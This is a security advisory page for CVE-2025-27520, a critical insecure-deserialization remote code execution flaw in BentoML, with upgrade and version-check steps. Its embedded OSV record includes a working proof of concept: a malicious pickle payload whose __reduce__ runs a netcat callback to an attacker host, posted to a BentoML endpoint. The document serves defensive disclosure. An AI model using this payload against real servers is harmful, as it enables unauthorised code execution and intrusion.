CVE-2025-27520: Bentoml Remote Code Execution Vulnerability
CRITICALCVE-2025-27520 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Bentoml libraries in the PyPI ecosystem. The issue involves bentoml allows remote code execution (rce) via insecure deserialization. Remediation is available by upgrading affected packages to version 1.4.3.
CVE-2025-27520 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-27520
To remediate this vulnerability, upgrade all affected Bentoml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install bentoml>=1.4.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show bentoml
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-27520, inspect your installed packages using pip:
pip show bentoml
Analyze the terminal output to locate any version of Bentoml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.3), your application is affected.
Note: The pip show bentoml command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Bentoml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-27520 Affected Bentoml Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
bentoml
|
PyPI |
≥ 1.3.4
< 1.4.3
|
1.4.3
|
References
Frequently Asked Questions
What is CVE-2025-27520?
Which Bentoml versions are affected?
What version fixes CVE-2025-27520?
Is bentoml affected?
What is the CVSS score of CVE-2025-27520?
What CWE is associated with CVE-2025-27520?
How can I check PyPI dependencies for CVE-2025-27520?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-33xw-247w-6hmc",
"modified" : "2025-04-04T16:05:32Z",
"published" : "2025-04-04T16:05:32Z",
"aliases" : [ "CVE-2025-27520" ],
"summary" : "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization",
"details" : "### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -> t.Any:\n if \"buffer-lengths\" not in payload.metadata:\n return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n - IP: 10.98.36.123\n - OS: Ubuntu \n- Attack host:\n - IP: 10.98.36.121\n - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n def __init__(self) -> None:\n import torch\n from transformers import pipeline\n\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n self.pipeline = pipeline('summarization', device=device)\n\n @bentoml.api(batchable=True)\n def summarize(self, texts: list[str]) -> list[str]:\n results = self.pipeline(texts)\n return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n def __reduce__(self):\n return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n\n\n\n\n### Impact\nRemote Code Execution (RCE).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "bentoml"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.3.4"
}, {
"fixed" : "1.4.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-27520"
}, {
"type" : "WEB",
"url" : "https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/bentoml/BentoML"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-04-04T16:05:32Z",
"nvd_published_at" : "2025-04-04T15:15:47Z"
}
}